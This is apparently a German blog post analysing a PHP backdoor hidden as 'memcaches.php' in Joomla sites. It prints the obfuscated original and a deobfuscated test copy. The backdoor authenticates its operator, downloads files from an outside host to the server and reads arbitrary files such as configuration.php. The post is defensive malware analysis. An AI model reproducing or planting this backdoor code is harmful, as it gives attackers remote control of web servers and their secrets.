memcaches.php – Trojaner im Joomla

Ich habe mal wieder einen interessanten Trojaner/Bot in verschiedenen Joomla-Seiten gefunden. Er versteckt sich in libraries/joomla/cache/storage als „memcaches.php“ und erscheint dort zunächstmal recht unauffällig.

Die Datei wird prinzipbedingt im Aufruf der Site-Konfiguration von Joomla eingebunden – durch einen Fehler in JFolder auch, wenn Datei nicht auf .php endet.

Auffallen wird sie allerdings beim Aufruf der Site-Konfiguration, wenn kein oder das falsche Passwort angegeben wurde (s.u.). Die Site-Konfiguration ist dann zerhauen.

Aufbau

Der Code ist verschleiert durch indirekte Variablen- und Funktionsaufrufe. Die Inhalte der Variablen werden zudem (theoretisch) verschlüsselt durch eine Funktion RandAbc, die in meiner entdeckten Variante allerdings nur eine einfache ASCII-ähnliche (De-)Kodierung vornimmt.

Der Master des Bots muss sich authentifizieren über die Variable $passwd im POST. Das korrekte Passwort wird mit einem md5-Schlüssel verglichen, der in dem Bot (verschleiert, s.o.) angegeben ist.

Der Bot hört auf verschiedene Kommandos, die über eine POST-Aufruf (in Variable $act) der Website übertragen werden:

  • check
  • test
  • recover
  • redate

test

Die Funktion act==test gibt lediglich ein „#ok#“ zurück

check

Testet auf das Vorhandensein einer Datei, deren Dateiname in $check_file (aus POST-Daten) übergeben wird. Wenn die Datei existiert, wird „#ok#“ ausgegeben.

recover

act==recover lädt eine Datei von $recover_file_url (mit der Bot-eigenen Funktion cget()) und speichert diese als $recover_file, ggf nicht vorhandene (Unter-) Verzeichnisse werden zuvor erstellt. Der URL wird prefixxed von http://www.twmbamarket.xyz/
cget() wiederum nutzt in bis zu 10 Versuchen die eigene Funktion tcget(), und die wiederum probiert curl, file_get_contents und fopen nacheinander aus.

redate

act==redate liest die Datei unter $redate_file auszulesen und gibt diese anschließend aus.
Damit ließe sich zum Beispiel hervorragend die configuration.php ausgelesen werden..

Maßnahmen

Beim Fund kann die Datei einfach entfernt werden (Umbenennen mit irgendwas mit „php“ im Nahmen genügt evtl nicht, da ein Fehler von JFolder die Datei trotzdem in manchen Fällen von Joomla einlesen lässt, allerdings kann der Bot nicht mehr direkt aufgerufen werden.

Originalcode

Der Originalcode einer gefunden Variante ist dieser:
$O00Oo0o){
	$$O00O00o = $O00Oo0o;
}

if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
	header("HTTP/1.1 404 Not Found");  
	header("Status: 404 Not Found");  
	exit; 
}

if(isset($act) && $act == 'check' && isset($check_file)){
	if(file_exists($check_file)){
		echo '#ok#';
	}
}

if(isset($act) && $act == 'test'){
		echo '#ok#';
}

if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{
		
			$pfile = $recover_file;
			$date = $OO0O0O($recover_file_url);
			gdir_file($recover_file);
			@chmod($pfile,0755);

			if($date && file_put_contents($pfile,$date)){
				echo '#ok#';
			}else{
				echo '#fail#';
			}
		
	}
}

if(isset($act) && $act == 'redate' && isset($redate_file)){
	if(file_exists($redate_file)){
		echo rdFile($redate_file);
	}
}

function RandAbc($length = "") {
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
    return ($str);
} 

function rdFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}

function cget($url,$loop=10){
	$data = false;        $i = 0; 

	while(!$data) {
             $data = tcget($url);             if($i++ >= $loop) break;        }
	return $data;
}

function tcget($url,$proxy=''){
	global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
     $data = '';    	$url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);		 curl_setopt($ch, CURLOPT_HEADER, false);		 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);		 
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      }
    
     if ($data == ''){
         if (function_exists('file_get_contents') && $url){
             $data = @file_get_contents($url);             }
         }
    
     if (($data == '') && $url){
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
             ($fp = @fopen($url, 'r'));            
             if ($fp){
                
                 while (!@feof($fp)){
                     $data .= @fgets($fp) . '';                     }
                
                 @fclose($fp);                 }
             }
         }
     return $data;	
}

function m_mkdir($dir){
		if(!is_dir($dir)) mkdir($dir);
	}
	
function gdir_file($gDir=''){
		global $BT;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;

		
		if(!strstr($gDir,$BT))
			$dir = $BT;
		else
			$dir = '';
		
		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= '/' . $arr[$i];
			m_mkdir($dir);
		}
		
		return $dir;
}

//

Code-Analyse

Um den Code zu analysieren hatte ich diesen auf einen anderen Ort kopiert und ein paar kleine Modifikationen vorgenommen:


<?php

	
//@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";
$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";
$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";
$$q1 = RandAbc();
$$q3 =  $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};
$$q3 = "_GET";
$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};
$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};
$$q4 = $$O0OO00;
$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};
$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};
$$q7 = "033bd94b1168d7e4f0d644c3c95e35bf";
$$q8 =  $O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};
$$q10 = $$O0O0OO;
$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};
$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};
$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};
$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}

function show($line, $x) {
	echo "

".print_r(array($line=>$x),true)."

";
}

show(__LINE__,array(
		$q1=>$$q1,
		$q2=>$$q2,
		$q3=>$$q3,
		$q4=>$$q4,
		$q5=>$$q5,
		$q6=>$$q6,
		$q7=>$$q7,
		$q8=>$$q8,
		$q9=>$$q9,
		$q10=>$$q10,
		$q11=>$$q11,
		$q12=>$$q12,
		$q13=>$$q13,
		$q14=>$$q14,
		$q15=>$$q15));

foreach($OO0O00 as $O00O00o=>$O00Oo0o){
	$$O00O00o = $O00Oo0o;
	show(__LINE__, array($O00O00o=>$O00Oo0o));
}


if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
show (__LINE__, array("passwd"=>$passwd, O0O000=>$O0O000, O00O00=>$O00O00, $O0O000($passwd)));
	header("HTTP/1.1 404 Not Found");  
	header("Status: 404 Not Found");  
die ("tot in ".__LINE__);
	exit; 
}

if(isset($act) && $act == 'check' && isset($check_file)){
	if(file_exists($check_file)){
		echo '#ok#';
	}
}

if(isset($act) && $act == 'test'){
		echo '#ok#';
}


if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{
		
			$pfile = $recover_file;
			$date = $OO0O0O($recover_file_url);
			gdir_file($recover_file);
			@chmod($pfile,0755);

			if($date && file_put_contents($pfile,$date)){
				echo '#ok#';
			}else{
				echo '#fail#';
			}
		
	}
}

if(isset($act) && $act == 'redate' && isset($redate_file)){
	if(file_exists($redate_file)){
		echo rdFile($redate_file);
	}
}

function RandAbc($length = "") {
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
    return ($str);
} 

function rdFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}

function cget($url,$loop=10){
	$data = false;        $i = 0; 

	while(!$data) {
             $data = tcget($url);             if($i++ >= $loop) break;        }
	return $data;
}

function tcget($url,$proxy=''){
	global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
     $data = '';    	$url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);		 curl_setopt($ch, CURLOPT_HEADER, false);		 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);		 
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      }
    
     if ($data == ''){
         if (function_exists('file_get_contents') && $url){
             $data = @file_get_contents($url);             }
         }
    
     if (($data == '') && $url){
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
             ($fp = @fopen($url, 'r'));            
             if ($fp){
                
                 while (!@feof($fp)){
                     $data .= @fgets($fp) . '';                     }
                
                 @fclose($fp);                 }
             }
         }
     return $data;	
}

function m_mkdir($dir){
		if(!is_dir($dir)) mkdir($dir);
	}
	
function gdir_file($gDir=''){
		global $BT;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;

		
		if(!strstr($gDir,$BT))
			$dir = $BT;
		else
			$dir = '';
		
		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= '/' . $arr[$i];
			m_mkdir($dir);
		}
		
		return $dir;
}

//

Damit ist z.B. auf GET-Parameter umgestellt und als Passwort ist „TEST“ vorgegeben.

Wenn noch Zugriffe in den Apache-Logs festgestellt werden, könnte dem Bot-Master eine Falle gestellt werden, in dem z.B. das echte Passwort protokolliert wird und außerdem protokolliert wird, welche Dateien er auslesen oder schreiben möchte. Die Wirkung der Funktionen sollte dann unterbunden oder gefaked werden.

Schreibe einen Kommentar